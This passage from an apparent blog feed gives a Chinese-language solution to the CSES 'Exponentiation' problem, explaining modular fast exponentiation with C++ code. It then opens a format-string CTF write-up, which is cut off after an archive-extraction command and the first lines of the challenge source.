class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>32</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>16</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^{32}=(a^{16})^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">32</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">16</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>。這樣可以讓指數的大小本身亦以指數增長，進而讓<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>的時間複雜度從<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>降到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>log</mi><mo>⁡</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></p><p>對於一般(非<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的次冪)的指數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，快速冪的邏輯如下：<br>欲計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>，先將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>以二進位表示(這麼做是為了用指數律將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>拆成若干個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><msub><mi>k</mi><mi>i</mi></msub></msup></mrow><annotation encoding="application/x-tex">a^{k_i}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span>相乘，其中每個次方<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">k_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>都是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的冪次，而由上我們可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的冪次很好算)。舉例來說，若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mn>13</mn><mn>10</mn></msub><mo>=</mo><msub><mn>1101</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">n=13_{10}=1101_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">1</span><span class="mord"><span class="mord">3</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">110</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup><mo>=</mo><msup><mi>a</mi><mn>13</mn></msup><mo>=</mo><msup><mi>a</mi><mn>8</mn></msup><msup><mi>a</mi><mn>4</mn></msup><msup><mi>a</mi><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">a^n=a^{13}=a^8a^4a^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">13</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>。接下來便是照我們上面說的一次把<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>8</mn></msup><mo separator="true">,</mo><msup><mi>a</mi><mn>4</mn></msup><mo separator="true">,</mo><msup><mi>a</mi><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">a^8, a^4, a^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>都算出來，再相乘即可。</p><p>但其實實務上我們不是這樣做的，實務上做法是：<br>如果指數是偶數(設<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>2</mn><mi>k</mi></mrow><annotation encoding="application/x-tex">n=2k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>)，那麼<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>2</mn></msup><msup><mo stretchy="false">)</mo><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">a^n=(a^2)^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>；<br>如果指數是奇數(設<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n=2k+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>)，則把<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>拆成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><msup><mi>a</mi><mrow><mn>2</mn><mi>k</mi></mrow></msup><mo>=</mo><mi>a</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mn>2</mn></msup><msup><mo stretchy="false">)</mo><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">aa^{2k}=a(a^2)^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>。<br>如此我們每經一次操作，指數都會變成約原先的一半。</p><h3 id="%E8%99%95%E7%90%86%E6%A8%A1%E6%95%B8" tabindex="-1" id="處理模數">處理模數</h3><p>題目額外要求了要將答案模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>，就是因為計算過程中出現的數字和答案可能太大。但這不困難，只要將上述快速冪中每個乘法步驟都取模即可。</p><h3 id="c%2B%2B-code" tabindex="-1" id="C-Code">C++ Code</h3><p>綜合以上，我們有快速冪的程式如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> <span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><p>此題的完整程式碼如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span><span class="token number">1e9</span> <span class="token operator">+</span> <span class="token number">7</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> <span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  ll n<span class="token punctuation">,</span> a<span class="token punctuation">,</span> b<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    cin <span class="token operator">>></span> a <span class="token operator">>></span> b<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span>b<span class="token punctuation">,</span>M<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-05-31T13:30:11.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<li>Memory limit: 512 MB</li>
</ul>
<p>Your task is to ef]]>
    </summary>
    <title>CSES Exponentiation 題解</title>
    <updated>2026-05-31T13:30:11.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="pwn" scheme="https://r3xdj.pages.dev/tags/pwn/"/>
    <category term="CTF" scheme="https://r3xdj.pages.dev/tags/CTF/"/>
    <category term="ctflearn" scheme="https://r3xdj.pages.dev/tags/ctflearn/"/>
    <category term="format string" scheme="https://r3xdj.pages.dev/tags/format-string/"/>
    <content>
      <![CDATA[<p>這份是我2025年3月試用obsidian時寫的，如今把它搬過來這裡。<br>排版有點亂還請見諒。</p><h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><p>題目：<a href="https://ctflearn.com/challenge/1221">https://ctflearn.com/challenge/1221</a><br><img src="question.png" alt="Which format tag is your favourite?"></p><p>原始碼解壓縮：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">tar</span> zxvf task.tar.gz<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>參數解釋：</p><pre class="line-numbers language-none"><code class="language-none">-z, --gzip, --gunzip, --ungzip   filter the archive through gzip-x, --extract, --get       extract files from an archive-v, --verbose              verbosely list files processed-f, --file&#x3D;ARCHIVE         use archive file or device ARCHIVE<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="%E8%A7%A3%E9%A1%8C" tabindex="-1">解題</h1><ul><li><p>task.c</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token 